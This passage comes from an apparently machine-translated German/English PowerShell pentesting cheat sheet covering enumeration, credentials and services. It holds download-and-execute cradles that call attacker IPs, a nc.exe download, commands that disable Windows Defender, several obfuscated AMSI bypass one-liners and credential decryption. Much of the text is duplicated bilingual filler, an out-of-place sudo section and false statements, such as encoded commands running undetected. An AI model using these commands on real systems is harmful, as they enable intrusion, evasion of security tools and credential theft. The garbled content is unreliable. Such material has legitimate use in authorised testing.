. Geben Sie den Pfad der Datei an, die Sie hochladen möchten, sowie die URL oder den Pfad des Zielservers. Sie können auch den Parameter -Asynchronous
verwenden, um den Upload im Hintergrund auszuführen.
Start-BitsTransfer -Source "C:\Uploads\file.txt" -Destination "https://example.com/upload"
Überwachen von BitsTransfer-Jobs
Sie können den Fortschritt von BitsTransfer-Jobs überwachen, indem Sie den Befehl Get-BitsTransfer
verwenden. Dieser Befehl zeigt Informationen zu allen laufenden BitsTransfer-Jobs an, einschließlich des Fortschritts, der Dateigröße und des Status.
Get-BitsTransfer
Zusammenfassung
BitsTransfer ist ein leistungsstarkes PowerShell-Modul, das das Herunterladen und Hochladen von Dateien über BITS ermöglicht. Es bietet eine einfache Möglichkeit, Dateien im Hintergrund zu übertragen und den Fortschritt von Übertragungsjobs zu überwachen.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
In Kali Linux, you can use the Base64 encoding technique to encode PowerShell commands. This can be useful for bypassing security measures that may block or detect certain command strings.
To encode a PowerShell command using Base64 in Kali Linux, you can use the following command:
echo "powershell_command" | base64
Replace "powershell_command" with the actual PowerShell command you want to encode. The command will output the Base64 encoded string.
To execute the encoded PowerShell command in Kali Linux, you can use the following command:
powershell -EncodedCommand "base64_encoded_command"
Replace "base64_encoded_command" with the Base64 encoded string obtained from the previous step. The PowerShell command will be executed without being detected or blocked by security measures.
Keep in mind that encoding the PowerShell command using Base64 is not foolproof and may not always bypass security measures. It is important to stay updated on the latest security techniques and adapt your approach accordingly.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Ausführungsrichtlinie
Eingeschränkte Sprache
AppLocker-Richtlinie
WinRM aktivieren (Remote PS)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Defender deaktivieren
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
AMSI-Bypass
Die Datei amsi.dll
wird in Ihren Prozess geladen und verfügt über die erforderlichen Exports, um mit jeder Anwendung zu interagieren. Da sie in den Speicherbereich eines von Ihnen kontrollierten Prozesses geladen wird, können Sie ihr Verhalten ändern, indem Sie die Anweisungen im Speicher überschreiben. Dadurch wird die Erkennung unwirksam.
Das Ziel der AMSI-Bypasses besteht darin, die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen.
Webseite zum Generieren von AMSI-Bypasses: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI-Bypass 2 - Hooking von verwalteten API-Aufrufen
Überprüfen Sie diesen Beitrag für detaillierte Informationen und den Code. Einführung:
Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Wie sich herausstellt, müssen .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden, die sehr ähnlich aussehen wie native Methoden. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.
Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind:
- Identifizieren der Zielmethode zum Hooken
- Definieren einer Methode mit dem gleichen Funktionsprototyp wie das Ziel
- Verwenden von Reflection, um die Methoden zu finden
- Stellen Sie sicher, dass jede Methode kompiliert wurde
- Finden Sie den Speicherort jeder Methode im Speicher
- Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen
AMSI-Bypass 3 - SeDebug-Berechtigung
Folgen Sie dieser Anleitung & Code, um zu sehen, wie Sie mit ausreichenden Berechtigungen zum Debuggen von Prozessen einen powershell.exe-Prozess starten, ihn debuggen, überwachen, wann er amsi.dll
lädt, und diese deaktivieren können.
AMSI-Bypass - Weitere Ressourcen
PS-Verlauf
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Neuere Dateien finden
Optionen: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Berechtigungen abrufen
To determine the permissions of a file or directory in Windows, you can use the Get-Acl
cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the specified file or directory. The output will include information such as the owner, group, and individual permissions for the file or directory.
You can also use the Get-ChildItem
cmdlet to retrieve the permissions of multiple files or directories at once. For example:
Get-ChildItem -Path C:\path\to\directory -Recurse | Get-Acl
This command will recursively retrieve the permissions for all files and directories within the specified directory.
By understanding the permissions associated with a file or directory, you can better assess the security posture of a system and identify potential vulnerabilities.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Betriebssystemversion und HotFixes
Um die Betriebssystemversion und installierte HotFixes in PowerShell abzurufen, können Sie den folgenden Befehl verwenden:
(Get-WmiObject -Class Win32_OperatingSystem).Caption
Dieser Befehl gibt die Betriebssystemversion zurück.
Um die installierten HotFixes anzuzeigen, verwenden Sie den folgenden Befehl:
Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object -Property HotFixID
Dieser Befehl gibt eine Liste der installierten HotFixes zurück, zusammen mit ihren HotFix-IDs.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Umgebung
The following tools and configurations are recommended for the exercises in this section:
Die folgenden Tools und Konfigurationen werden für die Übungen in diesem Abschnitt empfohlen:
- Windows 10 or Windows Server 2016/2019
- PowerShell version 5.1 or later
- Administrator privileges on the target machine
- Internet access for downloading additional tools and resources
- Windows 10 oder Windows Server 2016/2019
- PowerShell Version 5.1 oder höher
- Administratorrechte auf der Zielmaschine
- Internetzugang zum Herunterladen zusätzlicher Tools und Ressourcen
PowerShell Basics
PowerShell is a powerful scripting language and automation framework that is built on top of the .NET framework. It provides a command-line interface (CLI) for managing and automating Windows operating systems.
PowerShell ist eine leistungsstarke Skriptsprache und Automatisierungsframework, das auf dem .NET-Framework aufbaut. Es bietet eine Befehlszeilenschnittstelle (CLI) zur Verwaltung und Automatisierung von Windows-Betriebssystemen.
Running PowerShell Scripts
PowerShell scripts are saved with the .ps1
file extension. To run a PowerShell script, open a PowerShell session and use the .\
prefix followed by the script name.
PowerShell-Skripte werden mit der Dateierweiterung .ps1
gespeichert. Um ein PowerShell-Skript auszuführen, öffnen Sie eine PowerShell-Sitzung und verwenden Sie das Präfix .\
, gefolgt vom Skriptnamen.
.\script.ps1
Running PowerShell Commands
PowerShell commands, also known as cmdlets, can be run directly in a PowerShell session. To run a command, simply type it in and press Enter.
PowerShell-Befehle, auch als Cmdlets bezeichnet, können direkt in einer PowerShell-Sitzung ausgeführt werden. Um einen Befehl auszuführen, geben Sie ihn einfach ein und drücken Sie die Eingabetaste.
Get-Process
Getting Help
PowerShell provides built-in help documentation for cmdlets and other features. To get help on a specific cmdlet, use the Get-Help
cmdlet followed by the cmdlet name.
PowerShell bietet eine integrierte Hilfedokumentation für Cmdlets und andere Funktionen. Um Hilfe zu einem bestimmten Cmdlet zu erhalten, verwenden Sie das Cmdlet Get-Help
, gefolgt vom Cmdlet-Namen.
Get-Help Get-Process
Variables
Variables in PowerShell are used to store and manipulate data. To create a variable, use the $
symbol followed by the variable name and an assignment operator (=
).
Variablen in PowerShell werden verwendet, um Daten zu speichern und zu manipulieren. Um eine Variable zu erstellen, verwenden Sie das Symbol $
, gefolgt vom Variablennamen und einem Zuweisungsoperator (=
).
$myVariable = "Hello, World!"
Loops
Loops in PowerShell allow you to repeat a block of code multiple times. The foreach
loop is commonly used to iterate over a collection of items.
Schleifen in PowerShell ermöglichen es Ihnen, einen Codeblock mehrmals zu wiederholen. Die foreach
-Schleife wird häufig verwendet, um über eine Sammlung von Elementen zu iterieren.
$numbers = 1..5
foreach ($number in $numbers) {
Write-Output $number
}
Conditional Statements
Conditional statements in PowerShell allow you to execute different blocks of code based on a condition. The if
statement is commonly used to perform conditional execution.
Bedingte Anweisungen in PowerShell ermöglichen es Ihnen, verschiedene Codeblöcke basierend auf einer Bedingung auszuführen. Die if
-Anweisung wird häufig verwendet, um bedingte Ausführungen durchzuführen.
$number = 5
if ($number -gt 10) {
Write-Output "The number is greater than 10."
} else {
Write-Output "The number is less than or equal to 10."
}
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Andere verbundene Laufwerke
In Windows, you can use PowerShell to list all the connected drives on a system. This can be useful for a variety of purposes, such as identifying additional storage devices or network drives.
To list all the connected drives, you can use the following PowerShell command:
Get-PSDrive
This command will display information about all the drives that are currently connected to the system, including their names, types, and root paths.
You can also filter the results to display only specific types of drives. For example, to list only the network drives, you can use the following command:
Get-PSDrive | Where-Object {$_.Provider.Name -eq "FileSystem"}
This command will filter the results to display only the drives that have a provider name of "FileSystem", which typically indicates network drives.
By using PowerShell to list all the connected drives, you can quickly and easily gather information about the storage devices and network drives on a system. This can be helpful for various tasks, such as mapping network drives or identifying potential vulnerabilities.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Papierkorb
Der Papierkorb ist ein spezieller Ordner auf einem Windows-System, in dem gelöschte Dateien vorübergehend gespeichert werden, bevor sie endgültig gelöscht werden. Dies ermöglicht es Benutzern, versehentlich gelöschte Dateien wiederherzustellen, falls sie noch benötigt werden.
In der Regel werden gelöschte Dateien im Papierkorb gespeichert, bis der Benutzer den Papierkorb leert oder die Dateien manuell wiederherstellt. Es ist wichtig zu beachten, dass der Papierkorb nur auf dem lokalen Laufwerk verfügbar ist und nicht auf Netzwerklaufwerken oder externen Speichergeräten.
Als Pentester kann es von Vorteil sein, den Papierkorb zu überprüfen, um möglicherweise sensible Informationen oder gelöschte Dateien zu finden, die für den Angriff nützlich sein könnten. Es gibt verschiedene Möglichkeiten, auf den Papierkorb zuzugreifen und seine Inhalte zu untersuchen.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/den-papierkorb-mit-powershell-verwalten/
Domänenrecherche
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Benutzer
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Sichere Zeichenfolge in Klartext
In PowerShell, a secure string is a way to store sensitive information, such as passwords, in an encrypted format. However, there may be situations where you need to convert a secure string back to plaintext. Here's how you can do it:
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
In the above code, we first create a secure string using the ConvertTo-SecureString
cmdlet. We pass the desired plaintext password as a parameter and use the -AsPlainText
and -Force
flags to ensure that the secure string is created correctly.
Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()
method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto()
method to convert the BSTR back to plaintext.
Keep in mind that converting a secure string to plaintext should be done with caution, as it can expose sensitive information. Make sure to handle the plaintext password securely and avoid storing it in plain text for an extended period of time.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Oder direkt das Parsen von XML-Formularen:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO ist ein Befehl in Linux- und Unix-Systemen, der es einem Benutzer ermöglicht, temporär erhöhte Berechtigungen zu erhalten, um bestimmte Aufgaben auszuführen. Dies ist besonders nützlich, wenn ein Benutzer ohne Root-Zugriff vorübergehend Root-Befehle ausführen muss.
Installation
SUDO ist normalerweise standardmäßig in den meisten Linux-Distributionen installiert. Wenn es nicht installiert ist, kann es mit dem Paketmanager der jeweiligen Distribution installiert werden.
Verwendung
Um SUDO zu verwenden, muss der Benutzer den Befehl "sudo" vor dem eigentlichen Befehl eingeben, den er mit erhöhten Rechten ausführen möchte. Zum Beispiel:
sudo apt-get update
Dieser Befehl führt den Befehl "apt-get update" mit Root-Rechten aus.
Konfiguration
Die Konfigurationsdatei für SUDO befindet sich normalerweise unter "/etc/sudoers". Diese Datei enthält die Regeln und Einstellungen für die Verwendung von SUDO.
Um die Konfigurationsdatei zu bearbeiten, kann der Befehl "visudo" verwendet werden, der sicherstellt, dass die Syntax der Datei korrekt ist. Zum Beispiel:
sudo visudo
Dieser Befehl öffnet die Konfigurationsdatei in einem Texteditor.
In der Konfigurationsdatei können Benutzer und Gruppen definiert werden, die SUDO verwenden dürfen, sowie die Befehle und Dateien, auf die sie zugreifen können.
Sicherheitshinweise
Es ist wichtig, die SUDO-Konfigurationsdatei sorgfältig zu überprüfen und nur vertrauenswürdigen Benutzern und Gruppen Zugriff zu gewähren. Eine unsachgemäße Konfiguration kann zu Sicherheitslücken führen und es einem Angreifer ermöglichen, Root-Rechte zu erlangen.
Darüber hinaus sollte SUDO immer mit Bedacht verwendet werden. Es ist ratsam, nur die erforderlichen Befehle mit erhöhten Rechten auszuführen und die Verwendung von SUDO auf ein Minimum zu beschränken, um das Risiko von Fehlern oder Missbrauch zu verringern.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Gruppen
Introduction
In Windows, groups are used to organize and manage user accounts. They provide a way to assign permissions and access rights to multiple users at once. This section will cover the basics of working with groups in PowerShell.
Creating a Group
To create a new group in PowerShell, you can use the New-LocalGroup
cmdlet. Here's an example:
New-LocalGroup -Name "MyGroup"
This will create a new local group with the name "MyGroup".
Adding Users to a Group
To add users to a group in PowerShell, you can use the Add-LocalGroupMember
cmdlet. Here's an example:
Add-LocalGroupMember -Group "MyGroup" -Member "User1", "User2"
This will add "User1" and "User2" to the "MyGroup" group.
Removing Users from a Group
To remove users from a group in PowerShell, you can use the Remove-LocalGroupMember
cmdlet. Here's an example:
Remove-LocalGroupMember -Group "MyGroup" -Member "User1", "User2"
This will remove "User1" and "User2" from the "MyGroup" group.
Listing Group Members
To list the members of a group in PowerShell, you can use the Get-LocalGroupMember
cmdlet. Here's an example:
Get-LocalGroupMember -Group "MyGroup"
This will list all the members of the "MyGroup" group.
Deleting a Group
To delete a group in PowerShell, you can use the Remove-LocalGroup
cmdlet. Here's an example:
Remove-LocalGroup -Name "MyGroup"
This will delete the "MyGroup" group.
Conclusion
Groups are an important part of managing user accounts and permissions in Windows. With PowerShell, you can easily create, modify, and delete groups to suit your needs.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Zwischenablage
Die Zwischenablage ist ein Speicherbereich, der temporäre Daten speichert und es Benutzern ermöglicht, Informationen zu kopieren und einzufügen. In PowerShell gibt es verschiedene Befehle, um auf die Zwischenablage zuzugreifen:
Get-Clipboard
Der Befehl Get-Clipboard
wird verwendet, um den Inhalt der Zwischenablage abzurufen. Wenn keine Daten in der Zwischenablage vorhanden sind, gibt der Befehl nichts zurück.
Set-Clipboard
Der Befehl Set-Clipboard
wird verwendet, um Daten in die Zwischenablage zu kopieren. Sie können den Befehl mit einer Zeichenkette oder einer Datei verwenden, um den Inhalt in die Zwischenablage zu kopieren.
Clear-Clipboard
Der Befehl Clear-Clipboard
wird verwendet, um den Inhalt der Zwischenablage zu löschen. Nachdem der Befehl ausgeführt wurde, ist die Zwischenablage leer.
Es ist wichtig zu beachten, dass der Zugriff auf die Zwischenablage in PowerShell standardmäßig deaktiviert ist. Um auf die Zwischenablage zuzugreifen, müssen Sie die Execution Policy ändern oder PowerShell als Administrator ausführen.
Get-Clipboard
Prozesse
Processes are running instances of programs on a computer. They can be system processes or user processes. In Windows, processes are managed by the Windows Task Manager.
Prozesse sind laufende Instanzen von Programmen auf einem Computer. Sie können Systemprozesse oder Benutzerprozesse sein. In Windows werden Prozesse vom Windows Task-Manager verwaltet.
Viewing Processes
Anzeigen von Prozessen
To view the running processes on a Windows system, you can use the Get-Process
cmdlet in PowerShell. This cmdlet retrieves information about the processes running on the local computer or a remote computer.
Um die laufenden Prozesse auf einem Windows-System anzuzeigen, können Sie das Cmdlet Get-Process
in PowerShell verwenden. Dieses Cmdlet ruft Informationen über die auf dem lokalen Computer oder einem Remote-Computer ausgeführten Prozesse ab.
Get-Process
This command will display a list of all running processes, including their process ID (PID), name, and other details.
Dieser Befehl zeigt eine Liste aller laufenden Prozesse an, einschließlich ihrer Prozess-ID (PID), ihres Namens und anderer Details.
Killing Processes
Beenden von Prozessen
To terminate a running process, you can use the Stop-Process
cmdlet in PowerShell. This cmdlet allows you to stop one or more processes based on their process ID or name.
Um einen laufenden Prozess zu beenden, können Sie das Cmdlet Stop-Process
in PowerShell verwenden. Dieses Cmdlet ermöglicht es Ihnen, einen oder mehrere Prozesse basierend auf ihrer Prozess-ID oder ihrem Namen zu beenden.
Stop-Process -Name "process_name"
Replace "process_name" with the name of the process you want to terminate.
Ersetzen Sie "process_name" durch den Namen des Prozesses, den Sie beenden möchten.
Stop-Process -ID process_id
Replace "process_id" with the process ID of the process you want to terminate.
Ersetzen Sie "process_id" durch die Prozess-ID des Prozesses, den Sie beenden möchten.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Dienste
Introduction
Einführung
In this section, you will find information about different services that can be found in a Windows environment. Understanding these services is crucial for a successful penetration test.
In diesem Abschnitt finden Sie Informationen zu verschiedenen Diensten, die in einer Windows-Umgebung zu finden sind. Das Verständnis dieser Dienste ist entscheidend für einen erfolgreichen Penetrationstest.
Table of Contents
Inhaltsverzeichnis
- Active Directory
- Domain Name System (DNS)
- Dynamic Host Configuration Protocol (DHCP)
- File Transfer Protocol (FTP)
- Hypertext Transfer Protocol (HTTP)
- Internet Information Services (IIS)
- Lightweight Directory Access Protocol (LDAP)
- Network File System (NFS)
- Remote Desktop Protocol (RDP)
- Simple Mail Transfer Protocol (SMTP)
- Server Message Block (SMB)
- Telnet
- Virtual Network Computing (VNC)
- Windows Remote Management (WinRM)
- Conclusion
- Fazit
Active Directory
Active Directory
Active Directory (AD) is a directory service developed by Microsoft. It is used to manage and control network resources in a Windows domain environment. AD provides authentication and authorization services, as well as a hierarchical structure for organizing objects such as users, computers, and groups.
Active Directory (AD) ist ein von Microsoft entwickelter Verzeichnisdienst. Er wird verwendet, um Netzwerkressourcen in einer Windows-Domänenumgebung zu verwalten und zu steuern. AD bietet Authentifizierungs- und Autorisierungsdienste sowie eine hierarchische Struktur zur Organisation von Objekten wie Benutzern, Computern und Gruppen.
Domain Name System (DNS)
Domain Name System (DNS)
The Domain Name System (DNS) is a hierarchical decentralized naming system that translates domain names to IP addresses. It is responsible for resolving human-readable domain names to machine-readable IP addresses, allowing users to access websites and other resources using domain names instead of IP addresses.
Das Domain Name System (DNS) ist ein hierarchisches dezentrales Namenssystem, das Domainnamen in IP-Adressen übersetzt. Es ist dafür verantwortlich, menschenlesbare Domainnamen in maschinenlesbare IP-Adressen aufzulösen und Benutzern den Zugriff auf Websites und andere Ressourcen über Domainnamen anstelle von IP-Adressen zu ermöglichen.
Dynamic Host Configuration Protocol (DHCP)
Dynamic Host Configuration Protocol (DHCP)
The Dynamic Host Configuration Protocol (DHCP) is a network management protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP simplifies the process of configuring network settings and allows devices to join a network without manual configuration.
Das Dynamic Host Configuration Protocol (DHCP) ist ein Netzwerkverwaltungsprotokoll, das verwendet wird, um IP-Adressen und andere Netzwerkkonfigurationsparameter automatisch an Geräte in einem Netzwerk zuzuweisen. DHCP vereinfacht den Prozess der Konfiguration von Netzwerkeinstellungen und ermöglicht Geräten, sich ohne manuelle Konfiguration einem Netzwerk anzuschließen.
File Transfer Protocol (FTP)
File Transfer Protocol (FTP)
The File Transfer Protocol (FTP) is a standard network protocol used for the transfer of files between a client and a server on a computer network. FTP allows users to upload, download, and manipulate files on a remote server.
Das File Transfer Protocol (FTP) ist ein standardisiertes Netzwerkprotokoll, das für die Übertragung von Dateien zwischen einem Client und einem Server in einem Computernetzwerk verwendet wird. FTP ermöglicht Benutzern das Hochladen, Herunterladen und Manipulieren von Dateien auf einem entfernten Server.
Hypertext Transfer Protocol (HTTP)
Hypertext Transfer Protocol (HTTP)
The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, hypermedia information systems. It is the foundation of data communication for the World Wide Web. HTTP defines how messages are formatted and transmitted, and how web servers and browsers should respond to various commands.
Das Hypertext Transfer Protocol (HTTP) ist ein Anwendungsprotokoll für verteilte, kollaborative, hypermediale Informationssysteme. Es bildet die Grundlage der Datenkommunikation für das World Wide Web. HTTP definiert, wie Nachrichten formatiert und übertragen werden und wie Webserver und Browser auf verschiedene Befehle reagieren sollten.
Internet Information Services (IIS)
Internet Information Services (IIS)
Internet Information Services (IIS) is a flexible, secure, and manageable web server created by Microsoft. It provides a platform for hosting websites, web applications, and services. IIS supports various protocols, including HTTP, HTTPS, FTP, SMTP, and NNTP.
Internet Information Services (IIS) ist ein flexibler, sicherer und verwaltbarer Webserver, der von Microsoft entwickelt wurde. Er bietet eine Plattform zum Hosten von Websites, Webanwendungen und Diensten. IIS unterstützt verschiedene Protokolle, darunter HTTP, HTTPS, FTP, SMTP und NNTP.
Lightweight Directory Access Protocol (LDAP)
Lightweight Directory Access Protocol (LDAP)
The Lightweight Directory Access Protocol (LDAP) is an open, vendor-neutral, industry-standard application protocol for accessing and maintaining distributed directory information services over an IP network. LDAP is commonly used for centralized authentication and authorization services.
Das Lightweight Directory Access Protocol (LDAP) ist ein offenes, herstellerneutrales, branchenübliches Anwendungsprotokoll zum Zugriff auf und zur Pflege von verteilten Verzeichnisdiensten über ein IP-Netzwerk. LDAP wird häufig für zentrale Authentifizierungs- und Autorisierungsdienste verwendet.
Network File System (NFS)
Network File System (NFS)
The Network File System (NFS) is a distributed file system protocol that allows a client to access files over a network as if they were on its local hard drive. NFS enables file sharing between computers and is commonly used in Unix and Linux environments.
Das Network File System (NFS) ist ein verteiltes Dateisystemprotokoll, das es einem Client ermöglicht, Dateien über ein Netzwerk abzurufen, als wären sie auf seiner lokalen Festplatte. NFS ermöglicht die Dateifreigabe zwischen Computern und wird häufig in Unix- und Linux-Umgebungen verwendet.
Remote Desktop Protocol (RDP)
Remote Desktop Protocol (RDP)
The Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft that allows users to connect to a remote computer over a network connection. RDP provides a graphical interface for remote access and allows users to control the remote computer as if they were sitting in front of it.
